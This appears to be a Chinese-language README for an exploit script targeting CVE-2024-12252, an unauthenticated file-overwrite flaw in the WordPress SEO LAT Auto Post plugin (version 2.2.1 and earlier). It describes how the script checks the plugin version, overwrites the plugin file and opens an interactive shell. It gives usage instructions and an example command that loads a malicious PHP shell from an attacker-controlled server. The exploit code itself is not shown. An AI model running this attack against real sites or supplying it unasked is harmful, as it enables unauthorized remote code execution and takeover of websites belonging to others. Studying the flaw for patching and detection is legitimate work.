WordPress 的 SEO LAT Auto Post 插件在 2.2.1 及之前的所有版本中,由于对 remote_update AJAX 操作缺少能力检查,因而存在文件覆盖漏洞。这使得未认证的攻击者能够覆盖 seo-beginner-auto-post.php 文件,并借此实现远程代码执行。
该脚本通过覆盖 seo-beginner-auto-post.php 文件来利用 SEO LAT Auto Post 插件中的漏洞,从而实现远程代码执行。脚本自动化了检查插件版本、触发漏洞利用以及提供交互式 shell 来执行命令的过程。
usage: CVE-2024-12252.py [-h] -u URL --attack-url ATTACK_URL
CVE-2024-12252 | SEO LAT Auto Post <= 2.2.1 - Remote Code Execution # by: By Nxploit | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Target base URL (e.g., http://example.com/wordpress)
--attack-url ATTACK_URL
Direct URL to your malicious PHP shell
使用目标 URL 和恶意 PHP shell 的 URL 运行脚本:
python CVE-2024-12252.py -u http://example.com/wordpress --attack-url http://yourserver.com/shell.php